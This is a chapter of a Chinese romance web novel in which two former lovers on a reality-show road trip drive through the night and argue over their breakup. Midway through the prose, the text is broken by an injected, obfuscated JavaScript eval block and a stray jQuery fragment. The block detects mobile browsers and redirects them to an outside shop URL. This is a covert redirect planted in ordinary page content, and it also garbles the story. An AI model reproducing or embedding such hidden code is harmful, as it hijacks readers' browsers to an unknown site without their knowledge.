三个多小时。
陈竟客途中和他琐碎地讲了几句话，估计是昨天夜里熬晚了，又舟车劳顿，一杯咖啡都没救回来困意。
说话声越来越小，渐渐安静下去，听不见声。
齐行山转头看他，后悔上飞机前多余问一句：“你要不要颈枕？”
如果没有颈枕，陈竟客是不是会像往常那样，不自觉靠在他肩上睡着。
陈竟客当时迟疑地点点头，小声说了句：“谢谢。”
机场的尴尬还没过去，齐行山知道以这人的性子，听完那么羞耻的东西，起码好几天不会主动和他说话了。
这种时候，他才觉得这档节目不是一无是处。
即使时时刻刻置身于摄像头之下，一言一行都需要斟酌。
但起码，陈竟客不能说走就走又把他一个人丢在千里之外了。
飞机的挡板没有拉下来，余晖安静地撒进机舱，细细描摹过他身旁人的侧脸。睫毛在皮肤上投下层薄薄的阴影，飞机在空中滑翔，人也在呼吸，影子就轻轻颤动着。
像是没睡安稳，随时会醒来一样。
齐行山忘了自己看了多久。
好在飞机上没有拍摄，没人管他肆无忌惮的目光。
他很有种伸手摸一摸陈竟客眼睛的冲动，手指可以从眼头滑到眼尾，在那里停住，再轻轻施力，把陈竟客按醒。
像他们为数不多的几次一起飞行一样。
他把目光转向窗外。
云层渐渐稀薄，大地色泽参差不一，比海市，比他以前去过的很多地方都要荒凉不少。
自高空往下望，古朴厚重的颜色越来越重，夜幕将临，城市的灯火沿着地平线蔓延开来。
机翼的指示灯亮起。
“女士们，先生们，本架飞机预定在十五分钟后到达……”
机身开始颠簸，沉睡着的人皱了皱眉，似乎被广播打扰了好梦。
“竟客，”齐行山试着再这么喊他，“我们马上到了。”
显然陈竟客只捕捉到最末两个字，又轻又软眨了两下眼，然后阖上了。
齐行山任他睡了几分钟，十几分钟？他没看表。
广播继续播报：“……飞机正在滑行，为了您和他人的安全……”
现在该喊醒陈竟客了，他再试了一回，进度斐然，陈竟客起码睁了半分钟的眼没有闭上。
一点点变回平日里那个冷静成熟的陈老师。
飞机落地，陈竟客揉了揉眉心。
非常好，他现在睡着了，又预付了晚上的睡眠，生物钟就是这么颠倒的。
出了机场又抽了一轮签，谁知道他们的目的地还不是市中心。为了追求原汁原味，要去几百公里外的牧民民宿过夜，还得用抽签决定使用什么通行道具。
郑孚之瞪大了眼，惊呼一声：“不会还有步行吧！”
PD只是嘿嘿一笑，没多说，只是催促他道：“你快抽吧。”
几百公里走过去，郑孚之压力山大地抽出一张字条，展开一看，还好是自驾。
陈竟客嘴角一抽，几百公里，什么叫还好是自驾。
嘉宾自己开车，节目组当然只提供车，演绎组和绘画组外加一个齐行山，五个人才凑得出来三本驾照。
绘画组那个小姑娘才拿了驾照不到半年，握方向盘都还有点紧张，即使陈竟客坐旁边，也不敢让她开高速。更何况还是夜路。
最后商定下来，只有齐行山能和他换程开。
郑孚之显然想帮上表哥点忙，可惜郑少平日什么都甩给司机开。驾照考是考过，十八岁那年新鲜劲一过，等分扣完，科二就被丢到不知道哪个角落吃灰了。
陈竟客很想点一支烟，奈何节目还在拍。他给齐行山拿了瓶冰水，一起看节目组往车上装夜视摄像头。
“你拿了内地的驾照没，不然不能上高速。”
齐行山拧开瓶盖，自己没有喝，却先递给了他：“拿了好几年。”
“那行，你开高速，我开国道，到服务区就换。”
西北的夏夜会比海市凉快许多，瓶身凝结出颗颗小水珠，贴着掌心发凉。
陈竟客劝他：“你飞机上没睡，喝两口醒神。”
国道省道路况更复杂，齐行山才多大，二十一岁，驾驶证还没有三岁高龄呢。
陈竟客好歹是自驾去过不少地方，见得多也熬得住，没那么安全的路段交给别人，他也不放心。
齐行山没有推却，沉默地接过。
水痕从陈竟客指间滑到腕骨，悄悄没进袖口。
*
出人意料，车上还算热闹。
齐行山坐在驾驶位，倒是抿着唇开得很认真，剩下的人零零散散聊天，弄出点声响给他提神。
金珊娜已经开始和另外两个学员聊开了，准备怎么展示下一支MV，选景可以在哪儿，音乐什么风格最好。
他们聊的投机，到头来却是坐在副驾的陈竟客和齐行山讲的话最多。
陈竟客一面盯着导航，一面看看后视镜，他偶尔小声提醒两句：“行山，后面那辆要超车，你注意一点。”
“嗯。”
或许他自己也没意识到，称呼又变成了以前。
两人间的氛围和后座一派欢欣期待不一样，隐隐隔开那种情绪，又太过于自洽了。
陈竟客盯着时速：“前面限速100，你注意车速。”
齐行山瞥了一眼仪表盘，淡淡回他：“没超。”
绘画组那个小姑娘叫Lily，和众人聊熟了，便没有刚认识时那么拘束了。
她凑在后座中间，笑眯眯道：“我们好像那种美式公路家庭片哦，陈老师和行山哥真厉害！”
陈竟客翻导航的手停在半空，理解了几秒，才明白小姑娘话里的意思。
他当没听出来，轻笑道：“你很喜欢那种电影吗？”
小姑娘似乎也没听明白他的逃避意味，Lily重新强调一遍：“啊，不是的不是的，我是说我们现在好像一大家子出来旅游，就像电影里那种……”
这种电影里有什么人物，大致什么剧情什么走向，在座各位心里都门清。
她后知后觉，似乎才意识到，自己把谁和谁代入成了片中爸爸妈妈的角色。
Lily“啊”了一声，越洗越黑：“我不是那个意思！”
黑暗里她脸红了也看不清，当然，有别的人脸红了，也看不清。
郑孚之暗暗咬牙。
车里安静片刻。
陈竟客颇有爱心地替她解围，继续装没听懂：“公路片吗，我确实也很喜欢。如果你有喜欢的电影，可以推荐给我啊，这种我看的比较少。”
陈·电影看的比较少·竟·三金影帝·某瓣扒出来起码有百来条影评·客。
他纯属胡说八道了，给她个台阶下：“我对这种题材还蛮感兴趣的。”
金珊娜终于反应过来了，拍拍Lily的肩膀安慰：“早说你喜欢呀，我先生收藏了不少电影母带，有机会我帮你问问……”
路中间隔离的绿化带高耸，很好挡住了对面来车的车灯，陈竟客就着昏暗的光晕，总算看清楚齐行山脸上的神情。
冰了好几个月的狗狗眼终于眯起些笑意，悠然自得，还带着点幸灾乐祸。
齐行山从车内后视镜看他一眼，笑意更深了。
主驾驶这位司机显而易见的得意，顾忌陈竟客的面子问题。
齐行山收敛了些许笑容，依旧语调平平：“陈老师，能不能帮我开一下水。”
陈竟客盯着导航，头回觉得这个导航，真也是个导航啊。
合理的要求他不可能当没听见，只能按照吩咐，拧开矿泉水。
齐行山单手接过，喝了一口再还回去。
这些动作再正常不过，但从后座看，就是格外熟稔暧昧不少。
开夜车一路确实有欢笑，可算下来还是累人居多。
节目组的安排是二十四小时到，可又说夜里已经为他们预留了房间和接风宴。开过两次高速服务区，车上说话的人越来越少，逐渐变成安静的呼吸声。
中途加了一次油，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909650|213085||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
第二次开到服务区，陈竟客下车和齐行山换班。
夜里开车的人少，服务区灯光远远看去，只剩一豆大小。
夜深人静，这边更是半天看不到几辆车经过。
车上其余人都睡着了，这会不用担心烟味熏人，陈竟客点了一根，咬着滤嘴，缓缓吐出团白雾。
他没想到，齐行山会来找他讨。
比他大一圈的白皙手掌摊在面前，陈竟客没收力，倒也不重地拍了下去。
他含糊道：“你是歌手，抽什么烟，别给嗓子熏坏了。”
齐行山不依不饶，嗓音在夜风中沙哑不少：“你教坏我的。”
陈竟客没法反驳，印象里，似乎还真是他事/后和齐行山分过几回烟，把人从吐烟都不会带成了现在这样。
“那也不行。”他耍无赖般说：“我的烟，不给你抽。”
夜里烟丝烧出火红的光，陈竟客看他逼近，留着力气开车懒得躲。
他呼出口白雾，顺着齐行山流畅分明的面容流下，在领口散尽。
“过瘾没。”抽了几口，陈竟客的嗓音也哑了。
齐行山猝不及防被吹了一脸，低头看他。
狐狸一般的人对他勾出一个笑，好像又没注意到，自己偶然莞尔有多勾人。
不过片刻，又成了那个懒散冷清的陈竟客。
陈竟客拿住了他的心，就要开口劝：“咱们做朋友多好，行山，你要的我给不了你，我要的你也给不了我。”
说完，他又转脸扫了眼天上零零散散的星星，说道：“很多事情又不是只有恋人能做，来西北也好，出来散散心，”他一顿，掸了掸烟灰，“看看天地，没你想的那么多的。这还是草原，沙漠里的星空更好看。”
漂亮又勾人，依然不给他半点余地的，陈竟客。
齐行山回他：“但你要什么，你从来不说，你不说我怎么知道我错哪儿了。”
陈竟客的笑容一点点淡掉，消失在唇边。
他轻声道：“没必要，咱俩在一起的时候够开心了，以后只会越来越难走，早点断掉对你我都好。”
“陈竟客。”齐行山喊了他大名，眉头皱起，“活一辈子一共才多少天，你这么瞻前顾后，现在的事还没理明白就说以后。”
陈竟客垂眼。
齐行山自然懂了，这是他不想再聊下去的标志。
果然，最后一点火光燃尽时，陈竟客开口了：“你还年轻，太多事不懂，其实我们不合适的。”
他打断齐行山的反驳，少见露出些许疲态。
待会儿还要开几个小时的车，陈竟客实在没有精力拖下去，和小朋友在荒郊野岭的服务区大谈爱情观。
分手那事他有不对，说白了是他自私，这也认，可是过去的已经过去了。
或许现在他的确还对齐行山残存了点喜欢，但就和燃过的灰烬一样，不是有那个快穿副本一直续着余温，估计早就散了干净。
死灰复燃不了，枯木也不能逢春。
他陈竟客生来就不能得到谁的爱，给了他也会逃，留在一个彼此都舒服的位置多好。
他出言催促：“回去吧，待久了车上人要起来了。”
“陈竟客。”
齐行山又喊住他。
他这回没有回头，不回头就是态度，催齐行山上车。
没想到体温来的很快。
温热的呼吸沿着耳廓啄吻而下，理智告诉他该躲开，可身体跟随本能，按照耳鬓厮磨那两个月的记忆，自觉软了下来。
再向下，一路贴着脖颈，又辗转反侧回到耳垂。
“嘶！”
骤然刺痛，脆弱的软肉经不起犬齿磨咬，陈竟客抽气，想躲开，身后人换回了绵绵细吻安慰他。
声音贴着耳畔，仍能听出压抑的怒意：“我的耐心也有限度。你说分开，可我一开始就不想分手，现在是，以后也是。”
“还有，”齐行山安慰地亲了亲耳垂，“竟客，我们一起打的耳洞，怎么长合了？”
话音温柔的叫人头皮发麻。